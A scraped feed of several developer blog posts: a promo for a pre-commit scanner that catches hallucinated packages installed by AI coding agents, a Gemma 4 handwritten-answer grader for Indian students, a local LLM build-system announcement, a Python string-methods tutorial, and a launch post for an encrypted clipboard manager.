The countermeasure is not to reduce agent autonomy. It is to add a validation layer at the install boundary that the agent invokes as part of its own tool loop. When the agent’s install tool checks the registry, verifies download history, and requires explicit confirmation for any package with risk signals, the agent’s autonomy is preserved while the attack surface is closed.

LucidShark’s SCA check runs before any AI agent can install an unvetted dependency.

LucidShark’s pre-commit SCA scanner resolves every new package addition against the npm and PyPI registries, checks download counts, flags lifecycle scripts, and surfaces provenance gaps. When a slopsquatted package is staged for commit, the hook fails with a structured error that Claude Code can read and act on: remove the hallucinated dependency, find the legitimate alternative, and re-stage.

The check runs locally in under 200ms. No cloud service, no per-seat pricing, no dependency on external availability. Your environment variables never leave your machine. The agent’s correction loop happens in the same session, before the bad package ever reaches your lockfile.

Install LucidShark for free at lucidshark.com and configure dependency validation for Claude Code in under five minutes.

UttarCheck — AI-based Handwritten Answer Evaluator Built with Gemma 4

favicon

This is a submission for the Gemma 4 Challenge: Build with Gemma 4

What I Built

I dedicate this project to the students studying between 6th and 12th grade in India. My thoughts during the project ideation emerged from my extensive use of AI whether they are chatbots or RAG applications to understand the concepts but the scenario changes for the school going students. They write exams and need personalised evaluation for their handwritten answers because many students are still not able to access the premium education for example those living in remote areas, and as pupils in this age bracket are having developing minds, I decided to build something which can point their mistakes out in graceful manner while suggesting improvements so that they feel confident and prepared before examination, can write accurate answers in their exams.
It is a simple concept to implement Gemma 4 model in this project. If I add personal story to it. Apps like these were needed to write my UG exams let alone a drive for me to write in legible handwriting. I believe this app will genuinely be helpful for secondary school students.
Student clicks the picture of his/her answer to any question and get feedback on it, gives the score on scale 1 to 10 and generates detailed feedback in both Hindi and English language as well. It works for both Hindi and English language written answersheet and I wish to expand the evaluator to multilingual support because my country is diversified and each student on the land must get benefitted.

Demo

I gave UttarCheck application Photosynthesis answer. I exposed my localhost on ngrok as of now and recorded it. I fetched GEMMA 4 model from Google AI studio.

Code

I provide GITHUB repo for detailed explanation of my project

GitHub logo

s17anushka
/
UttarCheck

UttarCheck is an AI-powered handwritten answer evaluation system built using Gemma 4. It analyzes student answer sheets, generates scores, detects mistakes, and provides detailed feedback in both Hindi and English. The platform is designed for Indian classrooms and supports intelligent evaluation of handwritten responses across multiple subjects.

██╗   ██╗████████╗████████╗ █████╗ ██████╗  ██████╗██╗  ██╗███████╗ ██████╗██╗  ██╗
██║   ██║╚══██╔══╝╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║  ██║██╔════╝██╔════╝██║ ██╔╝
██║   ██║   ██║      ██║   ███████║██████╔╝██║     ███████║█████╗  ██║     █████╔╝
██║   ██║   ██║      ██║   ██╔══██║██╔══██╗██║     ██╔══██║██╔══╝  ██║     ██╔═██╗ 
╚██████╔╝   ██║      ██║   ██║  ██║██║  ██║╚██████╗██║  ██║███████╗╚██████╗██║  ██╗
 ╚═════╝    ╚═╝      ╚═╝   ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝ ╚═════╝╚═╝  ╚═╝

AI-Powered Handwritten Answer Evaluator for Indian Students

Built for the Gemma 4 Challenge on DEV.to

Python
Flask
Gemma
License

The Problem

India has 250 million school students. Most write handwritten answers for board exams — CBSE, UP Board, ICSE. Getting feedback means waiting days for a teacher.

UttarCheck changes that.

Photograph your handwritten answer. Get instant AI evaluation — score, mistakes, improvement tips — in Hindi and English. Powered by Gemma 4 running multimodal vision inference.

Demo

Student photographs answer sheet
           ↓
    UttarCheck processes image
           ↓
  Gemma 4 reads handwriting
           ↓
  ┌─────────────────────────┐
  │  Score: 9/10  Grade: A+ │
  │  Subject: Science       │
  │                         │
  │  ✅

…

How I Used Gemma 4

The intent to choose Gemma 4 API for UttarCheck is its native multimodal capability. It is not a normal text model where we add OCR step to read content from the handwritten text while Gemma 4 does read directly from the text
I specifically chose gemma-4-26b-a4b-it (the Mixture-of-Experts variant) for three reasons:

  1. Multimodal vision — Gemma 4 receives the answer sheet photo as base64-encoded image data alongside the evaluation prompt. It reads the handwriting, identifies the subject, detects the question from context, and evaluates content quality — all in a single inference call.
  2. MoE efficiency — The 26B MoE model activates only ~4B parameters per inference. For an educational tool expecting many concurrent students, this means faster response times and lower API cost compared to a dense model of equivalent quality.
  3. Bilingual reasoning — Gemma 4 generates feedback simultaneously in Hindi and English without any translation layer. Indian students think in Hindi but study in English — having both in one response is genuinely useful.
    The Multimodal Payload

payload = {
“contents”: [{
“parts”: [
{“inline_data”: {“mime_type”: “image/jpeg”, “data”: image_b64}},
{“text”: “Evaluate the handwritten answer in this image…”}
]
}],
“generationConfig”: {“temperature”: 0.2, “maxOutputTokens”: 1024}
}

Gemma 4 does not always return in JSON response. It thinks through to evaluate step by step which produces better results but wraps the final JSON in prose and markdown fences.I wrote about it that how I handled in the Github Readme. I sought this strategy from utilising various LLMs because it was something new to me.

Edge Deployment

The architecture is designed with Gemma 4 E4B in mind. When the edge variant becomes available via API, UttarCheck will run fully on-device — no internet, no server, student data never leaving the phone. The gemma_service.py already has an Ollama backend wired in for local inference today.

A great success to the application, I hope it is ahead of it’s time when the project comes out from its viability to its effective usability.
Thank you !

AI is heading toward a wall, and most people still don’t see it…

tizwildin profile

AI is heading toward a wall most people still don’t see:

Inference cost.
Memory survivability.
Runtime continuity.
Storage economics.

The next generation of AI won’t be defined by whoever ships the biggest model.

It’ll be defined by whoever builds systems that can persist, replay, evolve, and operate independently over time.

That’s what I break down in my new article:

“ARC-Neuron, LLMBuilder, and the Future Economics of Real AI”

This isn’t another “AI wrapper” discussion.

It’s about:

  • local-first intelligence systems
  • GGUF + CPU-first execution
  • deterministic memory lineage
  • rollback-capable runtime architectures
  • receipt-backed operations
  • symbolic lexical memory structures
  • infrastructure designed for long-term persistence instead of disposable prompts

A huge amount of the current AI industry is still optimized around:
“generate → forget → regenerate.”

That model becomes extremely expensive at scale.

Especially once:

  • agents run continuously
  • memory grows permanently
  • workflows become autonomous
  • storage becomes historical infrastructure
  • inference becomes operational overhead

The future economics of AI are probably closer to:
compute governance + memory architecture + persistence efficiency

—not just parameter count.

ARC-Neuron and LLMBuilder were built around that philosophy:
replaceable models, persistent systems.

Because eventually the model becomes interchangeable.

The continuity does not.

GitHub:

GitHub logo

GareBear99
/
ARC-Neuron-LLMBuilder

A governed local AI build-and-memory system that trains small brains, compares them, protects the better one, archives the worse one, and preserves the evidence of why. v1.0.0/governed-v2.2.0+

ARC-Neuron LLMBuilder

A governed local AI build-and-memory system — train small language models, measure them, promote the better ones through a regression-aware gate, and keep every decision restorable.

Local-first. Evidence-backed. Promotion-gated. Rollback-safe. Part of the seven-repo ARC ecosystem.

🖥️ Built, tested, and verified on a 2012 Intel Mac running macOS Catalina. If it runs there, it runs anywhere. The four governed promotions, the 136-test public verification suite, the 168-task scorer-expanded benchmark inventory, the Omnibinary throughput numbers, and the 9-step proof workflow were all produced on 12-year-old consumer hardware with a pre-Retina Intel CPU. No GPU. No cloud. No accelerator. Just Python and a lot of discipline.

It is not just another LLM training repo — it is an evidence-preserving build loop for developing better local AI systems.

💫 Thanks to our supporters


Stargazers

Topics: local AI · offline LLM · GGUF · model governance · AI provenance · Gate v2…

ai #opensource #llm #agents #machinelearning #localai #gguf #inference #python #buildinpublic

Python String Methods Explained Simply (Common Operations)

Strings have many built-in methods for common tasks. These methods return new strings and do not change the original.

Basic methods for changing case

text = "hello python"

print(text.upper())   # HELLO PYTHON
print(text.lower())   # hello python
print(text.title())   # Hello Python
print(text.capitalize())  # Hello python

Removing whitespace

messy = "  hello  "

print(messy.strip())   # "hello"
print(messy.lstrip())  # "hello  "
print(messy.rstrip())  # "  hello"

Finding and replacing

sentence = "I like cats and cats like me"

print(sentence.find("cats"))     # 7 (first position)
print(sentence.replace("cats", "dogs"))  # I like dogs and dogs like me

Checking content

email = "[email protected]"

print(email.startswith("user"))  # True
print(email.endswith(".com"))    # True
print("123".isdigit())           # True
print("abc".isalpha())           # True

Splitting and joining

words = "apple,banana,cherry"

word_list = words.split(",")
print(word_list)  # ['apple', 'banana', 'cherry']

new_string = "-".join(word_list)
print(new_string)  # apple-banana-cherry

Simple examples

Clean user input:

name = "  Alice  "
clean_name = name.strip().title()
print(clean_name)  # Alice

Count occurrences (use count method):

text = "hello hello world"
print(text.count("hello"))  # 2

Quick summary

  • Methods like .upper(), .lower(), .strip() for formatting.
  • .find(), .replace() for searching and changing.
  • .startswith(), .endswith(), .isdigit() for checks.
  • .split() and .join() for lists and strings.

Practice common string methods on text. They are essential for cleaning and processing strings in Python programs.

Why We Built a Zero-Knowledge Clipboard Manager for Developers (And Dropped Native Mobile Apps)

As developers, our system clipboard is a live, running history of our most sensitive data. On any given day, you and I are copying and pasting AWS keys, database connection strings, .env variables, and proprietary code blocks.

The problem is that traditional, consumer-grade clipboard managers treat this data like ordinary text. If they offer cloud syncing, they usually pass your raw data to a centralized database where it is stored or decrypted on their servers. One data breach on their end means every secret you’ve copied over the last year is exposed to threat actors.

We built Encrypted Clipboard Manager (ECM) to completely change this architecture. It is a local-first browser extension designed explicitly to give developers a secure clipboard history without compromising data privacy.

💻 How It Works Under the Hood

To bridge the gap between convenience (syncing across devices) and absolute security, ECM relies on a Zero-Knowledge, Privacy-by-Default framework:

  1. Local-First History: The extension intercepts and caches your clipboard data entirely inside a local browser sandbox. No network access is required for standard operations.
  2. Client-Side Encryption: If you choose to enable cloud syncing, the payload is encrypted on your machine before it ever hits the network. Using the native Web Crypto API, your data is transformed into ciphertext using a password only you know. The sync server acts as a blind relay-it cannot read, parse, or decrypt your history.
  3. Smart Sharing (New in v4.0.0): When you need to securely send a credential or snippet to a teammate, ECM generates a secure link directly from your sidepanel. The recipient prompts for a password, and the browser decrypts the stream natively, mapping the original file type (MIME-type) seamlessly for instant download.

📱 The Mobile Strategy: Why We Dropped Native Apps for a Web Dashboard

A common question we get is: “Where are the native iOS and Android apps?”

The answer comes down to modern operating system sandboxing. Both iOS and Android no longer allow background applications to automatically and silently sniff the system clipboard for security and privacy reasons. To sync a clipboard item on modern mobile OS layers, a native app would require you to manually open it every single time just to trigger a clipboard read.

Because background automation is dead on mobile, there is fundamentally no functional difference between a native app and a secure web app.

Instead of bloated native mobile clients, we built a secure, mobile-responsive web dashboard. Through this dashboard on iOS or Android, you can:

  • Decrypt & Access: Securely pull and view your existing synced history on the go.
  • Add & Sync Back: Manually add new sensitive items or snippets directly into the web dashboard. The moment you save them, they are encrypted client-side and synced seamlessly back to your desktop environments via the browser extensions.

🔍 Auditing the Crypto Core

We believe you should never blindly trust a security tool just because the landing page says “encrypted.”

While the core browser extension interface and frontend client code are closed-source, we have open-sourced the entire cryptographic engine driving the application.

We did this so the developer community can directly audit the mathematical implementation, inspect the Web Crypto logic, and verify that there are absolutely no backdoors in how keys are generated or handled.

You can review the repository, audit the code, or pull it into your own security pipelines via npm:

npm i @encryptedclipboard/crypto

Let’s Chat Architecture!

We are building ECM in public and want to tailor it perfectly to developer workflows.

How do you feel about the changing landscape of OS clipboard restrictions? Does a local-first extension + web dashboard setup fit how you move secrets between devices? Let’s talk in the comments below!